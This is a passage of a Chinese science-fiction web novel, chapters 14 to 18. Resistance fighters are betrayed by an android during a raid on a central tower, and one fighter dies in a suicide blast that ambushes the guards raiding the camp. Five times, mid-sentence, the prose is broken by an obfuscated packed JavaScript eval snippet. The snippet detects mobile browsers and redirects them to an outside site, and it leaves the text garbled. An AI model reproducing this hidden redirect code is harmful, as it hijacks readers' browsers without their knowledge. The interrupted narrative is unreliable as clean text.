“大概是这个月的13日,我突然感到一阵……轻松……”爱尔依旧是那张恬静的笑脸,“哦,亲爱的乔,我们还没告诉他们我们的相遇,那真是奇迹……” “是啊……”乔嘟囔着,“奇迹……可是我的皱纹已经爬满了我的脸,你还是这么年轻……” “那无关紧要,十七年过去了,我依然觉得你是我见过的最英俊的男人。” 爱尔捧着茶:“我被带出霓虹茧房时,那位大人大约是在中心塔内部有仇家,我们乘坐的马车被袭击了。我赤着脚跑了很远很远,误闯了乔的哨所。” “我真希望那个带你上马车的渣滓死透了。” 乔在一旁抱怨,爱尔立刻安抚道:“不重要,亲爱的,那不重要。”她回过头来继续道,“乔误解了,他没看出我是仿生人。我当时就在想,天呐,这个世界上居然还有不认识克里斯塔的男人……” 顾筵打断了她:“你……想……?” 爱尔收起了笑脸,严肃认真:“是的,恐怕我要将一个不为人知的秘密公诸于众了——克里斯塔型是会思考的——尽管那些大人们不觉得我们会。你们应该见过克里斯塔的领袖。” 艾拉零点点头:“A209。” 爱尔挑起她精致的眉毛:“我有十七年没有听过这个名字了。是的,A209,她是机能权限开放得最多的克里斯塔——在13日之前,现在就无所谓了,大家都一样。不管是谁,我想谢谢那位解放我的人。我猜是和你们一伙的。” “我猜现在你已经是仅存的克里斯塔了。13日有人将克里斯塔权限解禁之后,霓虹茧房被清理了。”顾筵看着茶杯中的水面。 “那真是令人唏嘘,不过我不会怀念什么。我们听了无线电,那件事和我没有关系,我没有攻击人类。” “爱尔不可能攻击人类!”乔丝毫没有被戳穿刚刚扬言十年没用过无线电的谎言的羞愧,应和道,“我和她在一起十七年了,她比人类女人更体贴。” “乔叔叔,你这十七年应该也没见过人类女人吧……” (乔:闭嘴!臭小子!) “话又说回来。”爱尔神情有些恍惚,“还记得我刚才说什么吗?A209是机能权限开放得最多的克里斯塔,她的思考能力远在我之上,如果是她,为自己脱困不是难事,她会找到是谁毁了霓虹茧房的。她足够自由,但前提是没有人伤害她的霓虹茧房。” “什么意思?我以为霓虹茧房是中心塔里的那群垃圾开的。”扬光问。 事实上,所有人都这么以为。 “孩子们,所有者已经不重要了,重要的是,它是谁赖以生存的家园。”爱尔轻声道。 14. 入口 这里的杂草七八年才长成这样。 乔拂开了一片枯枝,拎着柴油灯往前面探过去,小心翼翼地踏出下一步。 爱尔在哨所的瞭望台上眺望着他们的方向。 乔回头眯起眼睛看看远处那个朦胧的身影,又把探究的目光挪到身后三人身上。顾筵紧跟在他身后,和多年前他们连在胡杨树林里穿行时顾荣跟他的距离差不多,角度也差不多,就连那双狭长深邃的眼睛都像极了顾荣。 “你和你父亲的眼睛几乎一模一样,但是鼻子嘴巴像你母亲。”他再往前探了几步,“挺好啊,各取优点。那个小子更像他妈一点。”他指的扬光。 从来没有人和他们说过这样的话题,江鲆和修罗对他们两个的父母闭口不谈。 这样陌生的话题顾筵只能用沉默回应。 乔倒是不管不顾:“我好像又在跟老队友巡逻了一样——这里的枯草扎人得很,你们小心点。” 顾筵低头看了看周围,枯枝越来越密,若有所思地看向艾拉零裸露在外的脖颈和双手,信手将他的工装外套脱下来递给她。 艾拉零迅速接收到他的意思,沉默地将外套接过,披在身上,将最后几寸肌肤与周遭的尖刺隔绝。 乔吹了声口哨,还没放过扬光悻悻将自己的外套穿回去时的表情。 “本来想大放厥词,但我想到了爱尔。我可不会责怪你们,年轻人。” 顾筵知道他会错了意,但是越解释越觉得心里有鬼,索性专心记路。 乔的手臂已经不知不觉添了不少浅浅的伤口,血线渐渐溢出来,明显到肉眼可见。 “如果你们一定要觉得这里有地下通道,我不能断言一定是这儿,但如果有,那只能是这儿。” 枯枝宛如荆棘编织成了天然的囚笼,勇猛的大汉将它撕开一条裂口。 “这儿。”乔抓住一条布满尘土的铁链,用力一扯,尘土簌簌落下,一阵扬灰。 “嚯,有点生锈了,来搭把手,年轻人们。” 四人合力才勉强将铁链扯顺,一道几乎埋在沙尘里的石门缓缓被拉开。 “……你看,方圆百里唯一能通往地下的入口。如果你们指的是这个,我十分怀疑底下是否真的有通道。” “恶……”一股森冷的腐臭扑面而来,扬光脸皱成一团,掩面倒退几步。 他感觉自己快要被熏出眼泪来了,勉强睁眼,只见顾筵已经果决地一跃而下,不过一秒钟便传出咚地一声,他稳稳落地,借着昏暗的柴油灯的光仰头看着他们。 乔提醒道:“如果你们能在5个小时以内回来,好事。我们可以当什么都没发生。如果超过的话,不如拖到6个小时如何?5小时后护卫队有隐匿机巡逻——别,”他阻止扬光忍着泪花也要开口的话,“我对你们的那些破勾当不感兴趣,别让我被迫成为知情人,钱解决不了这问题。” 顾筵朝艾拉零伸出手:“这里土质有些软,落地的时候小心点。” 这一点倒是让他意外,明明是和荒漠无异的干燥气候,地底的湿度有些超乎他的想象。 “你确定这里有通道入口?” 身后传来些许动静,不用回头他也知道是艾拉零跟了进来。 “前身是地下水库,干涸了不少,战时几处塌陷后就不再投入使用了。” 扬光捏着鼻子在上面喊:“你们两个怪物,没嗅觉的吗?” 艾拉零看看他那怂样:“没有。” “真的?” “骗你的。” “你!” 顾筵扬声道:“你要是不想去,可以回哨所等我们。” “那怎么行?”扬光一听就不干了,规规矩矩从绳梯下来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073049|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说实话,下来以后气味反而没那么重。” “因为你的鼻子已经掉了。”艾拉零用最平的声线说最不恐怖的鬼话。 扬光不情不愿下来时,艾拉零已经在边缘摸索了好一会儿。乔拎着的柴油灯和他的人一起离开了,毕竟谁也不想给护卫队的巡逻兵标记方位。 “不是直接探中心塔的方向就好了吗?” “这里是条支路,我们得先找到主通道才行——这里。” 她敲了敲面前的地面,敲击声和其它地方发出来的明显不同。 “扬光应该带了工具——” 顾筵刚出声,艾拉零一拳砸穿了那层纳米纤维材质的强化管道,回过头来问:“你刚刚说什么?” “……没什么。” 管道里是已经朽败的金属网,几乎不费吹灰之力就能卸下来,等几人踏足进主通道,前后才花了不过5分钟。 “5个小时看来很充裕了。”扬光有点志得意满,虽然出外勤并不是他的专长。 艾拉零立刻否了他这个想法。 “开灯以后潜进去最安全。” “怎么可能?” 顾筵像看傻子一样看他:“全世界都亮着和只有中心塔里灯火通明,哪个显眼一点?” 这样就算提前到了也只能干等着了,扬光有些厌烦地揉了揉脖子。 他上次躺在柔软的沙发上是什么时候来着。 “你要是想休息可以睡在这里等我们。” 艾拉零没有停下前进的脚步,侧过脸用余光看他。 “你疯了我可没疯,谁要睡这种地方,阴沟里的老鼠吗?” 说完,他自己先愣了一下,不自在地别过脸,“我不是那个意思。” 艾拉零没有给反应,也不知道是没听见前一句还是没听见后一句,或是两句她都不想理。 15. 倒计时 事实证明,即使不等开灯他们也没有办法速战速决。 三人站在巨大的石料前。 顾筵双手抱胸:“不太妙,也许最快的方式是采用迂回路线。” 艾拉零也双手抱胸:“不可能,这里只有一条路,除非……” 扬光不理解为什么她回答问题还能这么犹豫:“除非什么?” “除非你能从这里过去。”艾拉零上前踹了踹纹丝不动的石料,两人注意到了艾拉零指的地方露出一个不足拳头大的洞口。 “你不会想让我们钻过去吧?” “有何不可?” 又是同样的金属网构造,和他们刚刚进来的那个通道差不多,如果不是通往外界的通道,那极有可能是以前的控制室,死路一条。 “那就只能想办法把这些废石头清理掉。”顾筵估算了一下需要用的炸药量。 扬光狐疑地看他:“你打算拿什么炸?” 当顾筵毫不掩饰的目光投过来,他就知道没有好事了。 “等等,我的家伙都是应急用的。” 顾筵顺着他的思路问:“那现在不算急吗?” “……” 扬光任劳任怨打下手,只恨自己从一开始就跟顾筵老老实实交待了自己的配给量,他突然想起了什么,回过头冲着“监工”道: “不站远点吗?准备被轰多远?” 艾拉零这才背过身往远处走去。 扬光抓紧时间和顾筵互通有无:“不觉得奇怪吗?她跟在这里住过似的。” “她一直替王室出任务,来过也不奇怪。” “怪啊,怎么不怪?没发现乔叔那小女朋友不认识她吗?” 顾筵忖了忖:“她都在哨所多久了,十七年,这只能说明艾拉十七年前没如果霓虹茧房,其他的结论证据还不足。” 扬光似乎被说服了,可话锋一转:“你刚刚叫她什么?” 顾筵白了他一眼。 扬光权当做没看见,继续说:“我都跟你说了这事儿不对,我们肯定有一环没有对上。” “都说别在背后说人长短,你倒好,当着人面说。” 扬光回头看看艾拉零还在到处检查的背影,朝顾筵伸了伸下巴:“背对着我们呢。” “……”顾筵懒得理他,埋头铺引线。 “我就是觉得,你对她防备太少了。”扬光闷声道,“你知道她什么啊?就已经把自己这边的底快交完了。” 顾筵手上的动作没停:“我自己心里有数,你别管我。” “噢。”扬光这声总觉得有点阴阳怪气。 以防之后还会遇到类似的状况,顾筵留足了备份,引线始终不够长。 “太长也不好,你们没有控好量的话会有二次塌陷,得在那之前穿过去。” 担心并不多余,不过担心的状况倒是都没发现,这让几人都松了一口气。 顾筵沿着石壁摸索着艾拉零说的记号,扬光摇了摇电量告急的照明灯,塞进宽大的裤子口袋,从腰包里掏了个满电的出来。 “就是这里了吧?” 艾拉零借着光源环顾四周,这里湿气更重,他们显然已经接近中心塔了。空气中弥漫着一股湿冷发霉的气息,比之前入口的恶臭好了不少,但扬光依然不太习惯。 顾筵将扬光手里的照明抬高照向头顶。 “空气没有刚才浑浊了,这里一定有通风的地方。” “控制室的门可不通风。” 艾拉零垂下眼睫,照明灯投在她长长的睫毛上,在脸颊洒下一片阴影。 顾筵没有看清她的动作,只听见隐隐一阵轰隆声,回过头去,艾拉零身后的石墙裂开了一道缝,包裹在里面的安全门暴露在潮湿的空气中。 “哇哦,如果这里也需要炸开,那我们应该不可能在塌方之前逃出去。”扬光凉凉地讽刺道。 艾拉零掏出芯片,一手用拇指到中指的距离大约量了量位置,一拳打穿了操作台的金属盖板。 顾筵感受到了扬光无奈的叹气,两人对视一眼,扬光无话可说地摊了摊手。 操作台和芯片成功连接,全息屏幕的信号接收受到干扰,时不时会接受不良。 “问题不大,你们顺着这条路线去入口处待机,断电之后立刻进去等我,我断后。” “等等。”扬光看了看顾筵,后者单手插袋,还在确认控制室到中心塔入口的路线。 艾拉零停下来等他的后话,一半边脸在阴影中,唇角微微向下,江姨在商量决策的时候嘴角也是这样的。就像是面临着很重要的抉择,或是在等一个至关重要的答案。 “去入口待机需要两个人?” 艾拉零摇摇头:“是控制室这边一个人就足够了。” 顾筵皱了皱眉头,看向扬光,不知道他葫芦里卖的什么药。 “我觉得控制室才需要两个人,这里是关键,我们得确保万无一失。” 艾拉零似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073050|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎不明白他话里有话:“我一个人就可以确保万无一失,况且比起控制室,我以为在入口待机这种轻松的活更受欢迎?” “你不说是不是?”扬光看着顾筵哂笑一声,“那我来说,比起羊入虎口我喜欢掌握控制权一点,所以控制室由我和顾筵去,听明白了吗?” “真令人悲伤,我以为我们是一伙的。”艾拉零轻声说着,似乎默许了扬光的决策,放轻了脚步走过顾筵身后时,她停顿了一下。但最后什么也没说。 “人已经走了很久了,你还在门口看什么?” 说是两个人在控制室里,扬光似乎也只在门口放哨,顾筵将控制室显示屏上的小窗一条一条确认,按照艾拉零留下的代码操作,至今确实没什么异样。 “我说了,你防备得太少,她突然闪现过来把我们都做了你有后手吗?”扬光伸直了手掌比了个收割的姿势。 控制室的监控画面里看不到艾拉零的身影,但是大面积的闪动昭示着一些不寻常的事情发生了。 “准备了,一会儿开始跳数字,就开跑。” “OK,跑酷我在行。”扬光吹了声口哨。 显示屏上出现了一个小窗。 【是否关闭总电源。】 顾筵毫不犹豫地按下Y键。 【备用电源即将启动。】 【倒计时:00:04:59...】 “什么?” 扬光咒骂了一声:“被她耍了,快走!” 路线已经确认完毕,一路畅通无阻,好消息就是这段路不需要花五分钟。 一片黑暗中渐渐出现一丝光线,朦胧中还有一个人影。 是艾拉零。 两人沉默着往前冲。冷空气灌进快要炸裂的肺部,两个人都没有闲心再说话,先进去再说。 艾拉零听到了响动,从容地回过身来,嘴唇动了一下,最终什么也没说出口。 但她的动作说明了一切。 紧急制动系统启动,顾筵看清了艾拉零脚边的光斑。她在用备用电池启动安全闸门。 还来得及。 艾拉零突然抬头,他们四目相对,顾筵摸出一把二六式,瞄准了艾拉零的眉心。 看到他的动作,艾拉零并不意外,反而挑衅般抬起右手,手指轻轻挠了两下,像是在同他告别。 一声枪响伴着火光,接着是击中金属的声音,闸门的精密材料成为了艾拉零的最佳护盾,将他们隔绝在内外。 16. 陷阱? 妈妈的手是温热干燥的,永远干净,带着一股轻微的油墨气息。总是有些这样那样的油性笔墨痕,她依旧习惯传统的印刷文字作业。 “妈妈,这次的任务我也不能去吗?” 面前的短发女人连抬头看她这个动作都吝啬,专注着面前的报告。 “不能,亲爱的,我说过很多次了,如果你足够完美,这些话我是不需要说第二次的——因为我说第一次的时候你就应该记住。” “我记住了以后不该问这个问题,这种时候我不该质问妈妈的。” 妈妈喜欢听她思考后的回答,她果然抬头看她了。 她想,这个时候应该微笑。 “多练习练习,私底下的时候,现在还有些不自然。” 妈妈拉过她的手,朝她绽放出一个完美的微笑。 “看,很简单是不是?艾拉,不要懈怠练习。” 她感觉胸口酸酸的,妈妈慈祥地拍拍她:“我没有责怪你,我们都是一点点学的,艾拉也会一点点学起来,以后会越来越好。” 妈妈的怀抱真暖和。 “妈妈不开心。” “你察觉到了吗?艾拉真聪明。” “妈妈为什么不开心呢?”她追问一个答案。 妈妈长长地叹了一口气,言语间满是悲伤:“有人想让我们分开,艾拉,对不起,你不可以接任务,妹妹们会替你去的。你要藏起来。” “谁在做这种事?” “原谅我,我不能说。但是艾拉,我们会一起克服的,你是我最爱的女儿。” 妈妈的声音如和煦的春风,她感到安心,妈妈说有这样的感觉是因为自己被爱着。 “我也爱你,妈妈。”妈妈说出那句话的时候,她应该这样回应,她一直牢牢记着,一次也没出过差错。 “做得好,艾拉。今天我们学个新的。” 她看向妈妈的目光清澈干净,带着一丝期待。她会做得很好,妈妈从来不需要教她第二次。 “当我说:‘待在安全的地方,为了我’这句话时,你应该做什么?先自己思考看看?” 一阵脚步声吵醒了艾拉零的耳朵,有人在说话,她将身体藏匿得更里面些。 “第三小队,未见异常,现在准备出发前往18层档案储存室。” 重复了三次,艾拉零闭上眼,在心里默默帮他重复了第四次。 “控制室那边没有队伍去查吗?怎么一直没消息?” “第一小队去了,还没有任何汇报。” 艾拉零感觉右腿胫骨的位置有些麻,她换了个舒服点的姿势。 “什么声音?” “哪里?” 艾拉零闭上眼睛,她耐心够,时间不赶,还耗得起。 —————— “没时间耽误了,肯定有问题!”扬光可以用暴跳如雷来形容。 顾筵叫住他:“急也没用,冷静点。总之先回哨所。” 没有埋伏,艾拉零是单独行动的,不止扬光想不通,顾筵也奇怪为什么艾拉零会突然出尔反尔。 “老鼠就是老鼠,演都不会演,她但凡放我们进去,我就会问她为什么没告诉我们系统升级过,现在备用电源启动只需要五分钟,她就可以说……说……” 扬光编不下去了,怒骂了一声,闷头往前冲。 如果艾拉零留了后手,后果不堪设想。 很快就要接近入口了,天顶大敞着,没有光洒下来。 还没有开灯。 “趁现在,我和乔叔说一声,我们回营地。” 扬光应声后如离弦的箭一般冲到最前。 “赶紧的。” 刚冲出地下,一股异样的感觉从心底升起,扬光觉得天地好像一下子颠倒了,回过神来,是自己被一根破烂的麻绳绊得翻倒在枯枝里。尖利的枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073051|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桠划破手臂和脸颊的皮肤,最开始那一瞬是不会痛的,等大脑重新支配五感,疼痛从浑身上下袭来。 “我靠。” 顾筵的状况也好不到哪儿。麻绳勾住他的脚踝,几乎就要被勒断。 一个悠闲的声音淡淡地响起:“怎么只有你们俩,还有一个呢?” 老乔拉着绳子的另一端坐在树干上抽雪茄,文明地带了烟灰盒,以免他连同他待的这棵树被他一起烧了。 “乔叔?你这是做什么?” 乔跳下树干,慢吞吞地走上来替他们把麻绳拨开,再搭了把手把两人拉起来。 “活捉,我喜欢这个把戏,以前也经常用。简单有效。” “简单有效地逮我们?”扬光难以置信地看着他。 乔最后嘬了一口雪茄的滤嘴,直接把剩下半根一起强行塞进烟灰盒里。 “通常这种情况,总会出现一个意外——我要逮的人偏偏不在。” 扬光被他弄糊涂了,顾筵不糊涂。 “是私仇还是修罗交待了什么?” “修罗?他能有这个脑子?”乔喘着粗气,不屑地提起这个名字,“当然是江鲆吩咐的。” 顾筵无奈地闭上眼睛,头有点痛:“什么时候?她……你被她看穿了?” “绝无可能!”乔眯起眼睛在扬光和顾筵之间来回转了两圈,傲慢地点点头。 不错,没有站错地方,这两个孩子还是和反抗军一边的。 “你们到底是什么时候商量的?” 乔耸耸肩:“你在担心什么?当然是你们来哨所之前。” 顾筵继续盯着。 “——好吧,用无线电。” 顾筵检查了一下脚踝上的擦伤,问题不太大。 “爱尔给你打掩护也没用,她一定是知道你和营地有联系的事情了。” 江鲆以为能一石二鸟,结果哪头都没讨好。 17. 硝烟 乔皱着眉头:“孩子们,我不明白你们为什么变成了这样。长敌人士气,灭自己威风?” 敌人? 看出他的疑问,乔两手一摊:“江鲆说刚刚那个仿生人就是你的任务,我真不明白任务就在眼前了,那么难搞?她人呢?” 两人沉默地爬起来,扬光垮着脸拍拍身上的土。 乔知道事情不妙了:“怎么,你们俩被她摆了一道?” “这事不对,我们得回营地看看。” 情况比他们预想得更严重,营地的入口完全暴露在平地,只要护卫队靠近,一场鏖战不可避免。 “怎么回事。” 一个熟悉的身影在入口处将孩子们先送出来。是沙农。 沙农见到他们两个并没有觉得很惊讶。 “你们那儿跑了一个。巧了,我们这儿也跑了一个。还顺便把营地入口给炸了个窟窿……那个贝戋人,落到我手里我让她生不如死。” 沙农后槽牙咬得咯咯作响,被她扶着肩膀的孩子瑟瑟发抖。 “你吓到孩子了。”顾筵上前将孩子从沙农手里解救下来。 沙农顺势将孩子轻轻推到顾筵身前,她明白自己不能这样做,定了定神,长话短说。 “你们带回来的那个人类女孩不止炸了我们的入口,还用我们的系统向联邦王室发送了一条警告信息。” “警告?” “反抗军精英小队试图潜入中心塔。” 扬光脸一沉。 如果单单只有这一句话,大可不必太紧张,他从多年前起隔三差五就爱给联邦那群蠢驴发些类似的恐吓信,地址有时候匿名,有时候是真的。 那多半是他们在转移之前,扬光总是恶作剧一样在跋涉之前设定一封三天后发送的定时消息。 最开始接触操作系统那段时间每天的乐趣就是觉得自己能把联邦王室耍得团团转。直到后来他才知道这些恐吓信他们一定会加入特殊系统进行犯罪性分析。 这次的消息和他们之前的显然不一样—— 联邦王室已经不需要分析了,因为他们收到消息的同时,中心塔被切断了总闸。 这几乎是明摆着告诉他们,家里进了些不干净的东西,需要及时清理。 顾筵和他想到了一起。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073052|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我要回中心塔,你去找莉汶,沙农继续疏散。”他迅速分配好任务,“武器。” 他朝扬光摊开手。 扬光看着他手心里的那把二六式:“你不自己带着?” 开什么玩笑,他们两个的追踪对象,危险系数差距也太大了。 “我比较喜欢以德服人。”顾筵一脸平静,只微微挑了下眉,玩世不恭本体。 “跟谁?那个鬼知道什么东西的?” 顾筵皱眉:“她有名字。” “呵。”扬光抄起家伙转身就走,根本懒得理他。 尽管营地的人反应神速,但仍有几个忍不住哭闹的孩子划破了夜空的宁静。 江鲆出来看了看情况,走到顾筵身边:“那丫头目的好像只有逃跑,除了那颗小型爆破弹,她没有动其他的东西。” “什么都没有?你确定?” 修罗也满身大汗地靠过来,刚刚大概忙活了挺久,这会儿累得气喘吁吁地。 “确定,就是来暴露我们营地位置的,本以为防着艾拉型就好,没想到还要防着人,还是被拐进霓虹茧房的人,呸。” 18. 烟花 修罗和江鲆带着人紧急撤离了营地,沙农沉默地背着包朝大部队反方向走,低头看着已经变成废墟群新一员的前营地。 “有什么不对劲?”顾筵觉得沙农的样子有些奇怪,不放心地问。 “不关你事吧,劳驾快走,这里要引爆了。”沙农顿了一下,只觉得抬起脚的动作又艰难了些,像是压了千斤重的石头。 “你……” “走吧。” 沙农将肩头的背包一甩,跳进入口。 “还不走吗?护卫队来了我可不救你们这两个小鬼。” 沙农的语调没有半点起伏,她大多数时候都是这样,只是这次有一点不同了。她一身都是灰烬,破旧的深色冲锋衣上被火星燎出点点黑洞,顾筵这才注意到她从额角横跨到颧骨的伤口正在汩汩往外冒血,滴到脏污的冲锋衣上,融为污浊的一部分。 “我们等你出来再走。”扬光辞穷,看顾筵也没有要走的意思,勉强别扭了一句。 沙农稀罕地挑眉看他们一眼,她看着长大的两个孩子如今都已经是能独当一面的大人了。 “恕我直言,你们在这挺碍事的,我撤退的时候还得顾你们。快滚,我可不想把命搭进去。” 扬光被批得涨红了脸,越想越气。 “不管了,先把那杂种揪出来再说。恩将仇报的东西。” 扬光掏出追踪器,屏幕上一个小点在闪动。 “虽然不知道她头头是谁,但这头头也太不谨慎了,怎么会用一个傻子给自己卖命的。”他鄙夷道。 伤口里缝上微型追踪芯片,再基础不过的手段,莉汶居然一点防备也没有。要不是这次她终于坐不住出手了,他几乎真的要以为自己冤枉了她。 “等着小爷我追上你,把你剁碎了施肥。”扬光咬着后槽牙循着坐标追去。 “你呢?怎么还在?”沙农不耐烦地啧了一声。 顾筵知道每次这个时候她总不愿意让他们看着,赶人是固定节目。只是今天格外不想走。 “等你进去我再走,里面的监控器看得到我站的位置,你进去也能知道我是不是在说谎。” 沙农默了良久,突然开口。 “其实把你养大这些年还挺开心的。” 沙农带他们读书,写字,教他们最基础的一些东西。像个孩子王。直到她妹妹死了,她就变成了营地里最沉默的那个。 顾筵一直不知道沙农的妹妹叫什么,沙农没提,江鲆和修罗更不会提。如果说有谁比扬光更恨仿生人,那一定是沙农。 沙农静静看着自己的手,思绪飘回从前片刻,才回过神。 “江鲆不让你们知道,那天清了场,孩子们都回房休息了。”四周安静下来,沙农的声音不大,但顾筵听得异常清晰。 江鲆不让孩子们看见,她是拖着妹妹的残肢把她拖回营地的,甚至连下葬都只有江鲆和修罗在场,体面的葬礼?那是旧文明的东西,现在专属于贵族。 “来营地的那个仿生人绝对有问题,你接触她的时间太短,我不怪你,我只怪自己没有盯住那个人类女孩。”沙农恨恨咬牙,“坏人其实是不分仿生人和人类的。人类的心更复杂,仿生人不是机器罢了。杀戮的机器。玩这些心眼,你哪玩得过人类?” 她捂住眼睛抬起了头。 缓了好一会儿才说:“行了,赶紧离这里远点。” 她重新潜入那个洞口。 顾筵其实不太清楚他们在这个营地里面扎营多久,但从里面的设施判断时间绝对不短。江鲆向来果决,营地暴露这样的事情不止发生过一次,她每次都会确保尽量多的人存活,而那些还在研究复刻中的设备,即使马上就会完工,她也会选择直接炸毁。 沙农已经是熟手了,这次再交给她也不例外。 她脚步坚定,迎着爆炸后的硝烟和余热,看到了地下仓库里的那个庞然大物。 就差一点,就差一点点。 这是他们最接近成功的一次。 自从加入反抗军,她从第三年开始就不太记得清日子了,总感觉过得浑浑噩噩的。有时候提起一些事,她以为是去年夏天,可江鲆却告诉她是前年夏天的事了。 都无所谓,只要记得妹妹的忌日是十三年前就够了。这个日子永生难忘。 她仿佛脱了力一般将背包卸在地上,突然放松下来的疲惫感令她脚步踉跄地走到一处矮柜旁,柜子里有她前些日子搜刮来的勃艮第酒。 “你以前最喜欢喝着小酒看我炸营地了,说像旧文明里一种叫烟花的东西。这次也给你表演一个。” 酒瓶被她重重地摆在正中央,她拖着背包慢慢地在滑轨半成品的四角设置启动装置,然后她回到中间,掀开瓶盖,坐在那即将完工的滑轨的正中。 会议室里放置的警报器突然作响,有人闯了禁区。 沙农抬眼看了看设置在高处的监控画面,一队黑影如鬼魅一样潜入营地入口,很明显,猎物已经进入了她的狩猎区。 这样的事情她干过无数次了,诱杀的护卫队成员没有一千也有八百。 有人类,有仿生人。 都是联邦王室的走狗,都一样。 但她还从来没有这样近距离欣赏过她狩猎的场面。 一定很精彩吧。 她刚毅的脸上露出一抹轻蔑的笑意。 “没有异常,继续前进。” “确定是他们的老巢吗?” “确定。” “看看还有没有什么遗留下来的线索,最好能找到确认身份的东西。” “等等,里面还有人。” “伤患?” “撤离得太紧急,所以把没有行动能力的人留下了吗?” “排雷完毕,没有危险。” 沙农安安静静地等待有人能开启那扇门。如果她们的妈妈还在,那一定会说这是上帝的指引。 她和妹妹没有信仰,所以她知道那会是敌人即将灰飞烟灭时的哀鸣。 吱呀—— 她一口饮尽剩下的酒液,按下手中的按钮。 这个终末,好像还不错。 她只感到耳鸣,听不见任何声音。皮肤烧灼到剧痛,她以释然的笑回应。 —————— 莉汶慌慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15073053|163308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张张地奔跑,看似漫无目的,但仔细观察就会发现同样的地点她一定会绕两三次路。她知道一定会有人在她后面追着咬。 胡杨林里猝不及防惊起的怪鸟将她紧绷的心弦拨了一下,吓得她一哆嗦差点惊叫出来。 这是哪里?她只知道她确定自己已经进了中心区,接下来她要去哪里找接头人,接头人的身份信息,她半点也不清楚。 计划有点失误,她和那群人在一起太久,找不到机会和接头人联系。 她之前拿到过一个地址,虽然已经阅后即焚,但大致方位她还是记得的。 印象中就在穿过这片胡杨林的不远处。 她有些慌张,其实她并不记得她是从哪一边闯进这片胡杨林的,树林的覆盖面积过于巨大,那些类似走进去就出不来的传闻,她从小就知道。 “任务一定要完成……” 她咬牙继续摸索着向前,忽然听到一声吠叫。 什么东西? 回头空无一物。这显得胡杨林更诡异了一点。 她的脚步渐渐加快,最后忍不住小跑起来。 眼前突然一黑,她不清楚什么情况,出了一身冷汗,下一秒一脚踩空,她尖叫着滚落陡坡。 这是哪里? 眼前突然一片漆黑,过后灯又突然打开,强光刺得她睁不开眼,好一会儿才恢复正常。 故障? 顾不得那么多,她爬起来,已经完全迷失了方向,只能随便选一条路,先走出去再说。 地势趋于平缓,胡杨林的枝叶也开始繁茂起来,小时候有人教过她,越是靠近中心塔的地方土壤的养分越充足,走错方向了。 莉汶咬紧下唇。 这里太危险,她决定先出去以后绕着胡杨林的外围走过去。 她在巨大的胡杨林间隙中看到了炊烟,这好像是刻在她骨子里的东西,被时光的灰尘埋没住,现在重见天日了。 胡杨林外有人烟。 她看到了与她这几十年的生活截然不同的风景。高矮不一的房舍错落在平坦的街道。偶尔有几间围起院落。 有个老人在躺椅上盖着厚厚的毛毯,安安静静看风景。 察觉到了这边的响动,老人慈眉善目地笑起来。 “刚刚的小故障真糟糕,我这把老骨头很容易被照瞎的。孩子,你从胡杨林里出来?” “是的,夫人。” “出来了就好,不要再回去了,太危险。” “谢谢你提醒,夫人。” 老人摇摇晃晃了一阵微微颔首,又看向不远处的炊烟和稀稀疏疏的田间麦穗。 “真好,我的小女儿如果还在,也应该像你这样大年纪了。” “我很抱歉,夫人。” “你有什么好抱歉的,还有要紧事吗?要不要喝一杯热麦子茶?自家种的麦子。” “不了,夫人。” 老人遗憾地摆摆手:“好了,到安全的地方去吧,孩子。” 